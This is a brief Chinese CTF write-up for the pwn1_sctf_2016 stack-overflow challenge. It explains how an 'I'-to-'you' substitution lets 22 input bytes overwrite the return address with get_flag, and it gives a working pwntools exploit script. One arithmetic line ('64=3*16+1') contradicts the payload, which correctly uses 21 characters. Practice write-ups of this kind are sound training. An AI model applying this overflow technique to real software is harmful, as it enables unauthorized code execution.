小白垃圾笔记而已,不建议阅读。
唉,因为没有在一开始创建flag文件,导致调试了半天也没有找到问题所在。
这道题是这样的:
main函数调用vuln函数
其实在程序中还有一个get_flag函数:
我们可以将返回地址覆盖成它。
覆盖这个地址也是可以的:
然后是vuln函数:
很懵逼,看不懂,大佬说是将I换成you。去试了下确实。问了下chat竟然给弄反了。
好吧,还是计算偏移把。
经过调试验证ida的分析是正确的:
s的偏移是3c也就是60个字节,不要忘记我们还需要4个字节来填充ebp
60+4=64
而我们最终是要让前边填充的是64
64=3*16+1
为什么是3*16呢?因为我们每输入一个I就会变成you
也就是从一个字节变成三个字节。
我用的是python2,不用在字母前加b,python3需要加b
还有就是卡住我一下午的地方。记得在当前目录下创建一个flag.txt.......
exp
from pwn import *
p=process('./pwn1_sctf_2016')
#context.log_level='debug'
#pause()
payload='I'*21+'a'+p32(0x08048F13)#p.recvuntil(":")
p.sendline(payload)
p.interactive()
远程也没有问题
remote就好。